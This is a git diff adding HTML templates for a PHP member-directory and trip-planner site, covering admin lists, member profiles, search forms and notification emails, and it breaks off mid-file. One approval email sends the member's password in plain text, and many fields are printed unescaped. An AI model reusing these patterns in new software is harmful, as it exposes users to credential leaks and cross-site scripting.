--- /dev/null
@@ -0,0 +1,51 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+       <meta http-equiv="content-type" content="text/html;charset=utf-8">
+       <title>Member Record update</title>
+</head>
+<body>
+<center>
+<table cellspacing="0" cellpadding="0" bgcolor="#ffffff" border="0">
+               <tr>
+                       <td>
+                               <table cellspacing="1" cellpadding="15" border="0" bgcolor="#cccccc" width="450">
+                                       <tr bgcolor="#cccccc">
+                                               <td bgcolor="#ffffff">
+                                                       <font size="4" face="arial, sans-serif">
+                                                               <b>You have a pending member record</b>
+                                                       </font>
+                                                       <br><br>
+                                                       <font size="3" face="arial, sans-serif">
+                                                               <b>{member:h}</b> has updated their member record and the changes are waiting your approval.
+                                                       </font>
+                                                       <br><br>
+                                                       <font size="2" face="arial, sans-serif">
+                                                               Your approval is required to complete this process.
+                                                               <br>
+                                                               <a href="{url:h}admin/members.php?cat=2&subCat=3" target="_blank">Member administration area</a>
+                                                       </font>
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+               <tr>
+                       <td>
+                               <table cellspacing="0" cellpadding="15" border="0" width="450">
+                                       <tr>
+                                               <td bgcolor="#cccccc">
+                                                       <font size="1" face="arial, sans-serif">
+                                                               Please do not reply to this email, it will not go anywhere.
+                                                               <br><br>
+                                                               To ensure the delivery of these e-mails to your inbox, please add {email:h} to your e-mail Address Book or Safe List.
+                                                       </font>
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>                           
+       </table>
+</center>
+</body>
+</html>
diff --git a/Toolkit/Members/templates/exposureDetail.tpl b/Toolkit/Members/templates/exposureDetail.tpl
new file mode 100755 (executable)
index 0000000..de72ffe
--- /dev/null
@@ -0,0 +1,41 @@
+{if:numberedSet}
+<style type="text/css">
+#exposure-detail {width:250px;}
+#exposure-detail th {text-align:center;}
+#exposure-detail td.right {text-align:right;font-size:12px;}
+#exposure-detail td {padding:2px 0 0 10px;}
+</style>
+<h3>{recordSet[0][member_name]}</h3>
+    <table id="exposure-detail">
+        <tr>
+            <th>
+                Month
+            </th>
+            <th>
+                Listed
+            </th>
+            <th>
+                Details
+            </th>
+            <th>
+                Clicks
+            </th>
+      </tr>
+        <tr flexy:foreach="recordSet,k,row">
+            <td>
+            {row[month]}
+            </td>
+            <td class="right">
+            {row[list]}
+            </td>
+            <td class="right">
+            {row[detail]}
+            </td>
+            <td class="right">
+            {row[click]}
+            </td>
+      </tr>
+    </table>
+{else:}
+       <div class="NoMembers">No reports are available at this time.</div>
+{end:}
diff --git a/Toolkit/Members/templates/exposureList.tpl b/Toolkit/Members/templates/exposureList.tpl
new file mode 100755 (executable)
index 0000000..ed7b253
--- /dev/null
@@ -0,0 +1,51 @@
+<h1>Exposure Reports</h1><p>
+    Exposure Reports - check the statistics being compiled that include:
+    <ul>
+    <li>Listed - number of times your member record was viewed in search result page</li>
+    <li>Details - number of time your member profile page was visited</li>
+    <li>Clicks - number of times your Web site address was clicked on</li> 
+    </ul>
+    </p>
+    <br clear="all"><hr>
+    {exposureForm:h}
+{if:numberedSet}
+<style type="text/css">
+#exposure-list {width:400px;}
+#exposure-list th {text-align:center;}
+#exposure-list td.right {text-align:right;font-size:12px;}
+#exposure-list td {padding:2px 0 0 10px;}
+#exposure-list td a {font-size:12px;}
+</style>
+    <table id="exposure-list">
+        <tr>
+            <th>
+                Member Name
+            </th>
+            <th>
+                Listed
+            </th>
+            <th>
+                Details
+            </th>
+            <th>
+                Clicks
+            </th>
+      </tr>
+        <tr flexy:foreach="recordSet,k,row">
+            <td>
+            <a href="{row[directUrl]}">{row[member_name]:h}</a>
+            </td>
+            <td class="right">
+            {row[list]}
+            </td>
+            <td class="right">
+            {row[detail]}
+            </td>
+            <td class="right">
+            {row[click]}
+            </td>
+      </tr>
+    </table>
+{else:}
+       <div class="NoMembers">No Data For this Month!</div>
+{end:}
diff --git a/Toolkit/Members/templates/listAmenities.tpl b/Toolkit/Members/templates/listAmenities.tpl
new file mode 100644 (file)
index 0000000..7ad7de1
--- /dev/null
@@ -0,0 +1,21 @@
+<table class="member-admin-table">
+       <thead>
+               <tr>
+                       <th></th>
+                       <th>Amenity Name</th>
+               </tr>
+       </thead>
+       <tbody>
+               <tr flexy:foreach="amenities,k,v">
+                       <td>
+                               <div class="buttons">
+                                       <a href="members.php?cat=4&subCat=2&id={k:h}">
+                                               <img src="baseurl/images/note_edit.png">
+                                               Edit
+                                       </a>
+                               </div>
+                       </td>
+                       <td>{v:h}</td>
+               </tr>
+       </tbody>
+</table>
diff --git a/Toolkit/Members/templates/listCategories.tpl b/Toolkit/Members/templates/listCategories.tpl
new file mode 100644 (file)
index 0000000..febf544
--- /dev/null
@@ -0,0 +1,10 @@
+<style type="text/css">
+.treeOperators {margin: 1em 0;}
+.treeOperators button {
+       margin-right: 10px;
+}
+.tree li a {background-image: url('../images/note_edit.png');}
+</style>
+<div id="categoryTree">
+{tree:h}
+</div>
diff --git a/Toolkit/Members/templates/listCities.tpl b/Toolkit/Members/templates/listCities.tpl
new file mode 100644 (file)
index 0000000..695c025
--- /dev/null
@@ -0,0 +1,21 @@
+<table class="member-admin-table">
+       <thead>
+               <tr>
+                       <th></th>
+                       <th>City Name</th>
+               </tr>
+       </thead>
+       <tbody>
+               <tr flexy:foreach="cities,k,v">
+                       <td>
+                               <div class="buttons">
+                                       <a href="members.php?cat=6&subCat=2&id={k:h}">
+                                               <img src="baseurl/images/note_edit.png">
+                                               Edit
+                                       </a>
+                               </div>
+                       </td>
+                       <td>{v:h}</td>
+               </tr>
+       </tbody>
+</table>
diff --git a/Toolkit/Members/templates/listHtmlEmails.tpl b/Toolkit/Members/templates/listHtmlEmails.tpl
new file mode 100644 (file)
index 0000000..e9afa78
--- /dev/null
@@ -0,0 +1,23 @@
+<table class="member-admin-table">
+       <thead>
+               <tr>
+                       <th></th>
+                       <th>Subject</th>
+                       <th>Last Updated</th>
+               </tr>
+       </thead>
+       <tbody>
+               <tr flexy:foreach="amenities,v">
+                       <td>
+                               <div class="buttons">
+                                       <a href="members.php?cat=8&subCat=2&id={v[id]:h}">
+                                               <img src="baseurl/images/note_edit.png">
+                                               Edit
+                                       </a>
+                               </div>
+                       </td>
+                       <td>{v[subject]:h}</td>
+                       <td>{v[last_update]:h}</td>
+               </tr>
+       </tbody>
+</table>
diff --git a/Toolkit/Members/templates/listMembers.tpl b/Toolkit/Members/templates/listMembers.tpl
new file mode 100644 (file)
index 0000000..2e4b211
--- /dev/null
@@ -0,0 +1,34 @@
+{if:numberedSet}
+       {showLetters():h}
+
+    <div flexy:if="letters" class="business-first-letter">
+        <div>Sort Alphabetically:</div>
+        <a flexy:foreach="letters,k,v" class="{v[class]:h}" href="{v[url]:h}">{k}</a>
+    </div>
+
+       <div class="results">{getResults(#Found %s Businesses in %s pages#):h}</div>
+       {getPaging():h}
+       <p>Showing records {firstRecord} to {lastRecord}</p>
+       <div class="searchResult" flexy:foreach="recordSet,k,row">
+               <div id="floating">
+                       <div>
+                               <div>
+                                       <a class="remove" href="{row[del_url]:h}">
+                                               <img width="24" height="24" title="Delete Business"
+                                                       src="../assets/remove.png" alt="remove">
+                                       </a>
+                               </div>
+                       </div>
+               </div>
+               <h3>
+                       <a href="{row[member_id]:h}">{row[member_name]:h}</a>
+               </h3>
+               <div flexy:if="row[phone]" class="phone">P: {row[phone]:h}</div>
+               <a flexy:if="row[member_contact_email]" class="email" href="mailto:{row[member_contact_email]:h}">
+                       {row[member_contact_email]:h}
+               </a>
+       </div>
+       {getPaging():h}
+{else:}
+       <div class="NoMembers">No Members Found!</div>
+{end:}
diff --git a/Toolkit/Members/templates/listNewMembers.tpl b/Toolkit/Members/templates/listNewMembers.tpl
new file mode 100644 (file)
index 0000000..fc122f0
--- /dev/null
@@ -0,0 +1,18 @@
+{if:numberedSet}
+       {showLetters():h}
+       <div class="results">{getResults(#Found %s Businesses in %s pages#):h}</div>
+       {getPaging():h}
+       <p>Showing records {firstRecord} to {lastRecord}</p>
+       <div class="searchResult" flexy:foreach="recordSet,k,row">
+               <h3>
+                       <a href="{row[member_id]:h}">{row[member_name]:h}</a>
+               </h3>
+               <div flexy:if="row[phone]" class="phone">P: {row[phone]:h}</div>
+               <a flexy:if="row[member_contact_email]" class="email" href="mailto:{row[member_contact_email]:h}">
+                       {row[member_contact_email]:h}
+               </a>
+       </div>
+       {getPaging():h}
+{else:}
+       <div class="NoMembers">No New Members Found!</div>
+{end:}
diff --git a/Toolkit/Members/templates/listPendingMembers.tpl b/Toolkit/Members/templates/listPendingMembers.tpl
new file mode 100644 (file)
index 0000000..3a530b1
--- /dev/null
@@ -0,0 +1,11 @@
+{if:numberedSet}
+       <div class="searchResult" flexy:foreach="recordSet,k,row">
+               <h3>
+                       <a href="{row[member_id]:h}">{row[member_name]:h}</a>
+               </h3>
+               <a flexy:if="row[member_contact_email]" class="email"
+            href="mailto:{row[member_contact_email]:h}">{row[member_contact_email]:h}</a>
+       </div>
+{else:}
+       <div class="NoMembers">No Approvals Needed!</div>
+{end:}
diff --git a/Toolkit/Members/templates/listRegions.tpl b/Toolkit/Members/templates/listRegions.tpl
new file mode 100644 (file)
index 0000000..ba1be3d
--- /dev/null
@@ -0,0 +1,21 @@
+<table class="member-admin-table">
+       <thead>
+               <tr>
+                       <th></th>
+                       <th>Region Name</th>
+               </tr>
+       </thead>
+       <tbody>
+               <tr flexy:foreach="regions,k,v">
+                       <td>
+                               <div class="buttons">
+                                       <a href="members.php?cat=5&subCat=2&id={k:h}">
+                                               <img src="baseurl/images/note_edit.png">
+                                               Edit
+                                       </a>
+                               </div>
+                       </td>
+                       <td>{v:h}</td>
+               </tr>
+       </tbody>
+</table>
diff --git a/Toolkit/Members/templates/memberContactsList.tpl b/Toolkit/Members/templates/memberContactsList.tpl
new file mode 100644 (file)
index 0000000..6becd04
--- /dev/null
@@ -0,0 +1,46 @@
+<div id="contact">
+{memberContactSearchForm:h}
+</div>
+{memberSendForm:h}
+{if:numberedSet}
+       <div class="results">{getResults(#Found %s Contacts in %s pages#):h}</div>
+    <div class="paging">
+       {getPaging():h}
+    </div>
+       <p>Showing records {firstRecord} to {lastRecord}</p>
+    <table id="admin-list-table">
+        <tr>
+            <th>
+                &nbsp;
+            </th>
+            <th>
+                Member Name
+            </th>
+            <th>
+                First Name
+            </th>
+            <th>
+                Last Name
+            </th>
+      </tr>
+        <tr flexy:foreach="recordSet,k,row">
+            <td>
+            <a href="{row[directUrl]}">[Edit]</a>
+            </td>
+            <td>
+            {row[member_name]:h}
+            </td>
+            <td>
+            {row[fname]}
+            </td>
+            <td>
+            {row[lname]}
+            </td>
+      </tr>
+    </table>
+    <div class="paging">
+       {getPaging():h}
+    </div>
+{else:}
+       <div class="NoMembers">No Members Found!</div>
+{end:}
diff --git a/Toolkit/Members/templates/memberDetail.tpl b/Toolkit/Members/templates/memberDetail.tpl
new file mode 100644 (file)
index 0000000..fc2c6e0
--- /dev/null
@@ -0,0 +1,181 @@
+<div id="member-detail">
+       <div id="image-box" style="height: 1%; overflow: hidden;">
+               <div flexy:if="logo" id="logo-spot">
+                       <img id="member-img-1"
+                width="{logo_width:h}" height="{logo_height:h}"
+                               src="{image_path:h}{logo:h}">
+               </div>
+       </div>
+
+       {memberSince:h}
+
+       <div class="vcard">
+               <h1 class="fn_org">{member_name:h}</h1>
+               <div class="adr">
+                       <div class="street-address">{street:h}</div>
+                       <div>
+                               <span class="locality">{city:h}</span>,
+                               <abbr class="region" title="{state_name:h}">{state_abbr:h}</abbr>
+                               <span class="postal-code">{zip:h}</span>
+                               <div flexy:if="phone" class="tel">Phone: {phone:h}</div>
+                               <div flexy:if="toll_free" class="tel">Toll Free: {toll_free:h}</div>
+                               <div flexy:if="fax" class="tel">Fax: {fax:h}</div>
+                               <div>
+                                       <a flexy:if="email" class="email member-button" title="Email" href="mailto:{email:h}">
+                                               Email
+                                       </a>
+                                       <a flexy:if="url" target="_blank" title="Website" href="{url:h}" class="member-button">
+                                               Website
+                                       </a>
+                               </div>
+                               <div id="google-div">
+                                       <div class="customDialog">
+                                               <form id="GDirs" action="http://maps.google.com/maps" method="get" target="_blank">
+                                                       <h3>Get Driving Directions:</h3>
+                                                       <input id="toaddress" type="text" name="saddr" size="40" value="Your Address City, State Zip">
+                                                       <input type="hidden" name="daddr" value="{daddr:h}">
+                                                       <input type="submit" value="Get Directions">
+                                               </form>
+                                       </div><!--/.customDialog -->
+                               </div><!-- #google-div -->
+                       </div>
+               </div><!-- /.addr -->
+       </div><!-- /.vcard -->
+
+    <div flexy:if="show_attributes" id="mColumn">
+        <h2 flexy:if="has_accommodations">Accommodations Info</h2>
+        <ul flexy:if="has_accommodations" id="mColumnAcc">
+            <li>
+                <ul>
+                    <li flexy:if="year_round"> Open Year Round </li>
+                    <li flexy:if="lists_number_of_rooms">
+                        {num_rooms:h} Rooms
+                    </li>
+                    <li flexy:if="does_online_reservations">
+                        <a href="{base_url:h}index.php?catid=50&set_property={reservation_id:h}">Reservations</a>
+                    </li>
+                </ul>
+            </li>
+        </ul>
+        <h2 flexy:if="has_social_media">Social Media Links</h2>
+        <ul flexy:if="has_social_media" id="mColumnSoc">
+            <li flexy:if="facebook" class="mFacebook">
+                <a target="_blank" href="{facebook:h}">Facebook</a>
+            </li>
+            <li flexy:if="twitter" class="mTwitter">
+                <a target="_blank" href="{twitter:h}">Twitter</a>
+            </li>
+            <li flexy:if="myspace" class="mMyspace">
+                <a target="_blank" href="{myspace:h}">MySpace</a>
+            </li>
+            <li flexy:if="linkedin" class="mLinkedIn">
+                <a target="_blank" href="{linkedin:h}">LinkedIn</a>
+            </li>
+            <li flexy:if="blog" class="mBlog">
+                <a target="_blank" href="{blog:h}">Blog</a>
+            </li>
+        </ul>
+        <h2 flexy:if="ccards">Payment Types Accepted</h2>
+        <ul flexy:if="ccards">
+            <li>
+                <ul>
+                    <li flexy:foreach="ccards,v">{v:h}</li>
+                </ul>
+            </li>
+        </ul>
+    </div>
+
+    <a href="{plink:h}" flexy:if="plink">
+    {if:addToLink}
+      <img alt="Add to Your Travel List" title="Add to Your Travel List" src="{base_url:h}assets/addto.gif" style="float: right; margin: 10px;clear: right;">
+    {else:}
+      <img alt="Remove From Your Travel List" title="Remove From Your Travel List" src="{base_url:h}assets/removefrom.gif" style="float: right; margin: 10px;">
+    {end:}
+    </a>
+
+       <div style="text-align: justify;">{description:h}</div>
+
+       <div flexy:if="amenities" class="business-list-amenities">
+               <ul>
+                       <li flexy:foreach="amenities,v">{v:h}</li>
+               </ul>
+       </div>
+
+       <div flexy:if="files" id="member-files">
+               <h2>Files Available for Download</h2>
+               <a flexy:foreach="files,k,v" class="file-download pdf" target="_blank" href="{v[href]:h}">{v[name]:h}</a>
+       </div>
+
+       <div flexy:if="packages" class="member-travel-item">
+        <h2>Packages</h2>
+               {foreach:packages,v}
+                       <h3 flexy:if="v[title]">{v[title]:h}</h3>
+                       {if:v[image]}
+                               <img alt="{v[image]:h}"
+                    width="{v[w]:h}" height="{v[h]:h}"
+                    src="{v[image]:h}">
+                       {end:}
+
+                       {if:v[description]}
+                               {v[description]:h}
+                       {end:}
+               {end:}
+       </div>
+
+       <div flexy:if="photos" id="photo-gallery">
+               <h2>Photo Gallery</h2>
+               <div flexy:foreach="photos,v" class="thumb {v[class]:h}">
+                       <a class="thickbox" title="{v[alt]:h}" rel="gallery-photos" href="{v[id]:h}">
+                               <img alt="{v[alt]:h}" 
+                    width="{v[w]:h}" height="{v[h]:h}"
+                    src="{v[src]:h}">
+                       </a>
+               </div>
+       </div>
+
+       <div flexy:if="golf_info" class="member-golf-result">
+               <h2>Course Information</h2>
+               <table class="member-golf-stats">
+                       <tbody>
+                               <tr>
+                                       <th flexy:if="par">Par</th>
+                                       <th flexy:if="yardage">Yardage</th>
+                                       <th flexy:if="course_rating">Course Rating</th>
+                                       <th flexy:if="slope_rating">Slope Rating</th>
+                               </tr>
+                               <tr>
+                                       <td flexy:if="par">{par:h}</td>
+                                       <td flexy:if="yardage">{yardage:h}</td>
+                                       <td flexy:if="course_rating">{course_rating:h}</td>
+                                       <td flexy:if="slope_rating">{slope_rating:h}</td>
+                               </tr>
+                       </tbody>
+               </table>
+               <div class="member-golf-walking">
+                       <strong>Walking Course:</strong>
+                       {walking_course:h}
+               </div>
+       </div>
+
+       <div flexy:if="restaurant_info" class="member-restaurant-item">
+               <h2>Restaurant Information</h2>
+               <table>
+                       <tbody>
+                               <tr>
+                                       <th>Breakfast</th>
+                                       <th>Brunch</th>
+                                       <th>Lunch</th>
+                                       <th>Dinner</th>
+                                       <th>Alcohol</th>
+                               </tr>
+                               <tr>
+                                       <td>{breakfast:h}</td>
+                                       <td>{brunch:h}</td>
+                                       <td>{lunch:h}</td>
+                                       <td>{dinner:h}</td>
+                                       <td>{alcohol:h}</td>
+                               </tr>
+                       </tbody>
+               </table>
+       </div>
+</div>
diff --git a/Toolkit/Members/templates/memberSearchForm.tpl b/Toolkit/Members/templates/memberSearchForm.tpl
new file mode 100644 (file)
index 0000000..f3d1c10
--- /dev/null
@@ -0,0 +1,49 @@
+<div id="category-search" class="category-search-accommodations">
+       {form.javascript:h}
+    <flexy:toJSON CC="countyCities" />
+    <flexy:toJSON CityCats="cityCategories" />
+    <flexy:toJSON mainCats="mainCats" />
+       {form.outputHeader():h}
+       {form.hidden:h}
+               <fieldset>
+                       <legend>{legend:h}</legend>
+                       <ol>
+                               {foreach:form.sections,sec}
+                                       {foreach:sec.elements,elem}
+                                               {if:elem.isType(#group#)}
+                                                       {if:elem.isName(#amenities#)}
+                                                               <li id="amenities">
+                                                               {foreach:elem.elements,gitem}
+                                                                       <label class="amenity-label">
+                                                                               {gitem.html:h}{gitem.label:h}
+                                                                       </label>
+                                                               {end:}
+                                                               </li>
+                                                       {end:}
+                                               {else:}
+                                                       {if:elem.isName(#search_all_amenity#)}
+                                                               <li id="amenitySearchAll">
+                                                                       {elem.html:h}{elem.label:h}
+                                                               </li>
+                                                       {else:}
+                                                               <li>
+                                                                       <label for="{elem.name:h}">{elem.label:h}</label>
+                                                                       {elem.html:h}
+                                                               </li>
+                                                       {end:}
+                                               {end:}
+                                       {end:}
+                               {end:}
+                               <li flexy:if="businessAmenities" id="amenities">
+                                       <label flexy:foreach="businessAmenities,k,v" class="amenity-label">
+                                               <input type="checkbox" value="{v:h}" name="amenities[]">
+                                               {k:h}
+                                       </label>
+                               </li>
+                               <li>
+                                       <input class="submit" type="submit" value="Search {legend:h}">
+                               </li>
+                       </ol>
+               </fieldset>
+       </form>
+</div>
diff --git a/Toolkit/Members/templates/membersList.tpl b/Toolkit/Members/templates/membersList.tpl
new file mode 100644 (file)
index 0000000..88d949c
--- /dev/null
@@ -0,0 +1,63 @@
+<div flexy:if="member_search_form">{member_search_form:h}</div>
+
+<div flexy:if="letters" class="business-first-letter">
+       <div>Sort Alphabetically:</div>
+       <a flexy:foreach="letters,k,v" class="{v[class]:h}" href="{v[url]:h}">{k}</a>
+</div>
+
+{if:numberedSet}
+       <div class="results">{getResults(#Found %s Businesses in %s page(s)#):h}</div>
+       {getPaging():h}
+       <p>Showing records {firstRecord} to {lastRecord}</p>
+       <div class="search-result-item vcard" flexy:foreach="recordSet,k,row">
+               {if:row[logo]}
+                       <img class="search-result-img" alt="{row[logo]}" src="{row[logo]}">
+               {end:}
+            {if:row[addToLink]}
+                       <a title="Add to Your Travel List" href="{row[plink]:h}" flexy:if="row[plink]">
+                         <img alt="Add to Your Travel List" src="{base_url:h}assets/addto.gif" style="float: right; margin: 10px 10px 0 0;">
+                       </a>
+            {else:}
+                       <a title="Remove From Your Travel List" href="{row[plink]:h}" flexy:if="row[plink]">
+                         <img alt="Remove From Your Travel List" src="{base_url:h}assets/removefrom.gif" style="float: right; margin: 10px 10px 0 0;">
+                       </a>
+            {end:}
+               <h2 class="fn org">{row[member_name]:h}</h2>
+               <div class="search-result-item-info">
+                       <div class="search-result-location adr">
+                               <div>
+                                       <div class="street-address">{row[street]:h}</div>
+                                       <span class="locality">{row[city]:h}</span>,
+                                       <abbr class="region" title="{row[state]:h}">{row[state_abbr]:h}</abbr>
+                                       <span class="postal-code">{row[zip]:h}</span>
+                               </div>
+                               <div flexy:if="row[phone]" class="search-result-phones">
+                                       <div class="tel">Phone: {row[phone]:h}</div>
+                               </div>
+                       </div>
+                       <div flexy:if="row[has_hotel_info]" class="member-hotel-result">
+                               <a flexy:if="row[reservation_id]"
+                                       href="{base_url:h}index.php?catid=50&set_property={row[reservation_id]:h}">
+                                       <img alt="Online Reservations"
+                                               src="{base_url:h}assets/buttons/reservations.gif">
+                               </a>
+                               {if:row[num_rooms]}
+                                       Number of Rooms: {row[num_rooms]:h}
+                               {end:}
+                               <br>
+                               Open Year Round: {row[year_round]:h}
+                       </div>
+                       <a title="More Info" href="<?php echo BASE_URL;?>{row[url]:h}">
+                               <img class="member-button" alt="More Info" src="<?php echo BASE_URL;?>assets/buttons/more-info.gif">
+                       </a>
+               </div>
+       </div>
+       {getPaging():h}
+
+       <div flexy:if="letters" class="business-first-letter">
+               <div>Sort Alphabetically:</div>
+               <a flexy:foreach="letters,k,v" class="{v[class]:h}" href="{v[url]:h}">{k}</a>
+       </div>
+{else:}
+       <div class="NoMembers">No Members matched your search criteria!</div>
+{end:}
diff --git a/Toolkit/Members/templates/newMemberApproval.tpl b/Toolkit/Members/templates/newMemberApproval.tpl
new file mode 100755 (executable)
index 0000000..e05ca6d
--- /dev/null
@@ -0,0 +1,40 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+       <meta http-equiv="content-type" content="text/html;charset=utf-8">
+       <title>Registration Complete - {client_name:h}</title>
+</head>
+<body>
+<center>
+<table cellspacing="0" cellpadding="0" bgcolor="#ffffff" border="0">
+               <tr>
+                       <td>
+                               <table cellspacing="1" cellpadding="15" border="0" bgcolor="#cccccc" width="450">
+                                       <tr bgcolor="#cccccc">
+                                               <td bgcolor="#ffffff">
+                                                       <font size="3" face="arial, sans-serif">
+                               <b>Your registration is complete</b>
+               </font>
+                                                       <br><br>
+               <font size="2" face="arial, sans-serif">
+                                                               Dear {first_name:h},<br>
+                                                               Your registration is approved. Below is the username and password you selected.
+                                                               <br><br>
+                                                               Username: {member_login:h}
+                                                               <br>
+                                                               Password: {member_passwd:h}
+                                                               <br><br>
+                                                               Use this to <a href="{base_url:h}index.php?catid={member_category}" target="_blank">log into your members area</a>.
+                                                               <br><br>
+                                                               Sincerely,<br>
+                                                               {client_name:h}
+                                                       </font>
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>                           
+       </table>
+</center>
+</body>
+</html>
diff --git a/Toolkit/Members/templates/newMemberDenial.tpl b/Toolkit/Members/templates/newMemberDenial.tpl
new file mode 100755 (executable)
index 0000000..fc060c8
--- /dev/null
@@ -0,0 +1,36 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+       <meta http-equiv="content-type" content="text/html;charset=utf-8">
+       <title>Registration not completed - {client_name:h}</title>
+</head>
+<body>
+<center>
+<table cellspacing="0" cellpadding="0" bgcolor="#ffffff" border="0">
+               <tr>
+                       <td>
+                               <table cellspacing="1" cellpadding="15" border="0" bgcolor="#cccccc" width="450">
+                                       <tr bgcolor="#cccccc">
+                                               <td bgcolor="#ffffff">
+                                                       <font size="3" face="arial, sans-serif">
+                               <b>We were unable to complete your registration</b>
+               </font>
+                                                       <br><br>
+               <font size="2" face="arial, sans-serif">
+                                                               Dear {first_name:h},<br>
+                                                               Unfortunately, we were not able to complete your registration.
+                                                               <br><br>
+                                                               If you think there has been an error, please contact us.
+                                                               <br><br>
+                                                               Sincerely,<br>
+                                                               {client_name:h}
+                                                       </font>
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>                           
+       </table>
+</center>
+</body>
+</html>
diff --git a/Toolkit/Members/templates/search.tpl b/Toolkit/Members/templates/search.tpl
new file mode 100755 (executable)
index 0000000..b516981
--- /dev/null
@@ -0,0 +1,39 @@
+<script type="text/javascript" src="baseurl/libjs/prototype.js"></script>
+<script type="text/javascript" src="baseurl/libjs/scriptaculous.js?load=effects"></script>
+<script type="text/javascript" src="baseurl/libjs/member-search.js"></script>
+<script type="text/javascript" src="baseurl/libjs/member-list.js"></script>
+{form.javascript:h}
+{form.outputHeader():h}
+{form.hidden:h}
+       <!-- Error or Success Message -->
+       {validated():h}
+    <fieldset flexy:foreach="form.sections,sec" class="form">
+        <legend>{sec.header}</legend>
+        <table>
+            <tr flexy:foreach="sec.elements,elem">
+                <!-- CheckBoxes go here. -->
+                {if:elem.isType(#checkbox#)}
+                    <td class="labelcell"> {elem.html:h} </td>
+                    <td class="fieldcell"> {elem.label:h} </td>
+                {else:}
+                    <!-- All regular elements go here. -->
+                    <td class="labelcell">
+                        <span flexy:if="elem.requird" class="req">*</span>
+                        {if:elem.error}<span class="req">{end:}
+                            {elem.label}
+                        {if:elem.error}</span>{end:}
+                    </td>
+                    <td class="fieldcell">
+                        <div flexy:if="elem.error" class="req">
+                            {elem.error}
+                        </div>
+                        {elem.html:h}
+                    </td>
+                {end:}
+            </tr>
+        </table>
+    </fieldset>
+       <div class="submitArea">
+               <input type="submit" class="submit" value="Search">
+       </div>
+</form>
diff --git a/Toolkit/Members/templates/tripPlannerList.tpl b/Toolkit/Members/templates/tripPlannerList.tpl
new file mode 100644 (file)
index 0000000..2f09a07
--- /dev/null
@@ -0,0 +1,61 @@
+{if:numberedSet}
+<div style="clear: both;"></div>
+<div id="accountBox">
+  <form id="plannerLogin" action="{loginUrl}" method="post" flexy:if="!isLoggedIn">
+       <h2>Sign In</h2>
+       <p id="plannerUser">Email: <input name="username" type="text"></p>
+       <p id="plannerP">Password: <input name="password" type="password"></p>
+       <p id="plannerSubmit"><input type="image" class="submit" src="baseurl/assets/btn_submit.gif"></p>
+    <p flexy:if="loginStat">{loginStat}</p>
+       <p style="clear: left;"><a href="#">Forgot your Password?</a></p>
+       <p style="text-align: center; font-weight: bold; font-size: 16px;">- or -</p>
+       <div id="plannerNew">
+               <a href="{accountUrl:h}">Create an account and save this Trip Planner for later.</a>
+       </div>
+       </form>
+       <p flexy:if="isLoggedIn" style="margin: 6px;">
+           Logged in as {username}
+       <a href="{logoutUrl:h}" style="display: block; margin-top: 6px;">Log Out</a>
+       </p>
+</div>
+<!-- <p>This text from the Trip Planner application. Lorem ipsum dolor sit amet, consectetur adipiscing elit. 
+Aliquam eleifend consequat sem. Lorem ipsum 
+dolor sit amet, 
+consectetur adipiscing elit. Aliquam eleifend consequat sem.</p> -->
+
+<ul id="plannerNav">
+       <li id="pN1"><a href="{requestUrl:h}">Request information</a></li>
+       <li id="pN2"><a href="#" onclick="window.print()">Print this list</a></li>
+       <li id="pN3"><a class="thickbox" href="baseurl/Toolkit/Members/TripPlanner/tripPlannerMap.php?TB_iframe=true&height=550&width=800">View Map</a></li>
+       <li id="pN4"><a class="thickbox" href="baseurl/Toolkit/Members/TripPlanner/helpme.html?TB_iframe=true&height=510&width=410">Help</a></li>
+</ul>
+
+<div id="plannerList" style="padding: 6px 0;">
+
+<?php $i = 0;?>
+{foreach:recordSet,k,row}
+<div class="plannerItem">
+       <h2>{row[breadCrumbs]:h}</h2>
+       <h3>{row[member_name]:h}</h3>
+  <div class="plannerAddress">
+       <p>{row[street]:h}</p>
+    <p>{row[city]:h}, {row[state_abbr]:h} {row[zip]:h}</p>
+    <p flexy:if="row[time_allocated]" class="plannerTime">Time you should plan to spend here: {row[time_allocated]}</p>
+       </div><!-- /.plannerAddress -->
+  <div class="plannerInfo">
+       <p flexy:if="row[phone]">Phone: {row[phone]:h}</p>
+    <p flexy:if="row[member_contact_email]">Email: <a href="mailto:{row[member_contact_email]:h}">{row[member_contact_email]:h}</a></p>
+    <p flexy:if="row[url]">Web: <a href="{row[url]:h}">{row[urlText]:h}</a></p>
+               <a href="{row[deleteUrl]:h}" class="plannerRemove">Remove</a>
+  </div><!-- /.planenrInfo -->
+</div><!-- /.plannerItem -->
+<?php
+if (++$i == 8) {
+$i = 0;
+echo '<div class="page-break"></div>';
+}
+?>
+{end:}
+
+</div><!-- /#plannerList -->
+{end:}
diff --git a/Toolkit/Members/templates/tripPlannerNoList.tpl b/Toolkit/Members/templates/tripPlannerNoList.tpl
new file mode 100644 (file)
index 0000000..3177473
--- /dev/null
@@ -0,0 +1,31 @@
+<!-- <h2>How do I add things to my Travel List?</h2>
+<div>
+       <div style="float: left; border: 1px dashed #244B8D; width: 130px; margin-right: 10px;">
+               <div style="margin: 5px;">
+                       <img src="baseurl/assets/addto.gif" alt="Add to Your Travel List" style="display: block;">
+                       <div style="font-size: 10px;">
+                               If you see this on a page, you can click on it to add it to your Travel List
+                       </div>
+               </div>
+
+       </div>
+                       First search for members.  If you find a vender that you wish to get more information from look for the this image and click to add them to your list.
+</div> -->
+<div id="accountBox">
+  <form id="plannerLogin" action="{loginUrl}" method="post" flexy:if="!isLoggedIn">
+       <h2>Sign In</h2>
+       <p id="plannerUser">Email: <input name="username" type="text"></p>
+       <p id="plannerP">Password: <input name="password" type="password"></p>
+       <p id="plannerSubmit"><input type="image" class="submit" src="baseurl/assets/btn_submit.gif"></p>
+    <p flexy:if="loginStat">{loginStat}</p>
+       <p style="clear: left;"><a href="#">Forgot your Password?</a></p>
+       <p style="text-align: center; font-weight: bold; font-size: 16px;">- or -</p>
+       <div id="plannerNew">
+               <a href="{accountUrl:h}">Create an account and save this Trip Planner for later.</a>
+       </div>
+       </form>
+       <p flexy:if="isLoggedIn" style="margin: 6px;">
+           Logged in as {username}
